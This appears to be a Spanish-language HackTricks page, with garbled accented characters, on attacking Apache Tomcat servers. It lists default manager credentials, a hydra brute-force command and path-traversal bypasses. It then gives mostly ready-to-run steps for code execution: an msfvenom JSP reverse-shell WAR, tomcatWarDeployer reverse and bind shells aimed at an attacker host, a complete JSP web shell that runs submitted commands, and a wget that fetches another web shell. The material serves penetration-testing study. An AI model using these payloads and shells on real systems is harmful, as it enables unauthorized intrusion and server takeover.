Tomcat
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Descubrimiento
- Normalmente se ejecuta en el puerto 8080
- Error com煤n de Tomcat:
Enumeraci贸n
Identificaci贸n de versi贸n
Para encontrar la versi贸n de Apache Tomcat, se puede ejecutar un comando simple:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Esto buscar谩 el t茅rmino "Tomcat" en la p谩gina de 铆ndice de documentaci贸n, revelando la versi贸n en la etiqueta de t铆tulo de la respuesta HTML.
Ubicaci贸n de Archivos del Administrador
Identificar las ubicaciones exactas de los directorios /manager
y /host-manager
es crucial ya que sus nombres podr铆an ser alterados. Se recomienda una b煤squeda de fuerza bruta para localizar estas p谩ginas.
Enumeraci贸n de Nombres de Usuario
Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuario a trav茅s de:
msf> use auxiliary/scanner/http/tomcat_enum
Credenciales Predeterminadas
El /manager/html
directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecuci贸n de c贸digo. Este directorio est谩 protegido por autenticaci贸n HTTP b谩sica, siendo las credenciales comunes:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Estas credenciales se pueden probar usando:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Otro directorio notable es /manager/status
, que muestra la versi贸n de Tomcat y del sistema operativo, ayudando en la identificaci贸n de vulnerabilidades.
Ataque de Fuerza Bruta
Para intentar un ataque de fuerza bruta en el directorio del administrador, se puede usar:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Junto con la configuraci贸n de varios par谩metros en Metasploit para dirigirse a un host espec铆fico.
Vulnerabilidades Comunes
Divulgaci贸n de Contrase帽a en Backtrace
Acceder a /auth.jsp
puede revelar la contrase帽a en un backtrace bajo circunstancias afortunadas.
Codificaci贸n Doble de URL
La vulnerabilidad CVE-2007-1860 en mod_jk
permite la codificaci贸n doble de URL para la travers铆a de rutas, lo que permite el acceso no autorizado a la interfaz de gesti贸n a trav茅s de una URL especialmente dise帽ada.
Para acceder a la web de gesti贸n de Tomcat, ve a: pathTomcat/%252E%252E/manager/html
/examples
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgaci贸n de informaci贸n y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra m谩s informaci贸n aqu铆
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Explotaci贸n de Travers铆a de Ruta
En algunas configuraciones vulnerables de Tomcat puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: /..;/
As铆 que, por ejemplo, podr铆as acceder a la p谩gina del gestor de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html
Otra forma de eludir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html
RCE
Finalmente, si tienes acceso al Gestor de Aplicaciones Web de Tomcat, puedes subir y desplegar un archivo .war (ejecutar c贸digo).
Limitaciones
Solo podr谩s desplegar un WAR si tienes suficientes privilegios (roles: admin, manager y manager-script). Esos detalles se pueden encontrar en tomcat-users.xml generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml
(var铆a entre versiones) (ver POST section).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Crea el war para desplegar:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
- Sube el archivo
revshell.war
y accede a 茅l (/revshell/
):
Shell bind y reverse con tomcatWarDeployer.py
En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun)
Descargar
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Shell inversa
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Shell de enlace
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Usando Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
M茅todo manual - Web shell
Crea index.jsp con este contenido:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Tambi茅n podr铆as instalar esto (permite la carga, descarga y ejecuci贸n de comandos): http://vonloesch.de/filebrowser.html
M茅todo Manual 2
Obt茅n un shell web JSP como este y crea un archivo WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
El nombre del archivo de credenciales de Tomcat es tomcat-users.xml
y este archivo indica el rol del usuario dentro de Tomcat.
find / -name tomcat-users.xml 2>/dev/null
Ejemplo:
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
Otras herramientas de escaneo de tomcat
Referencias
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.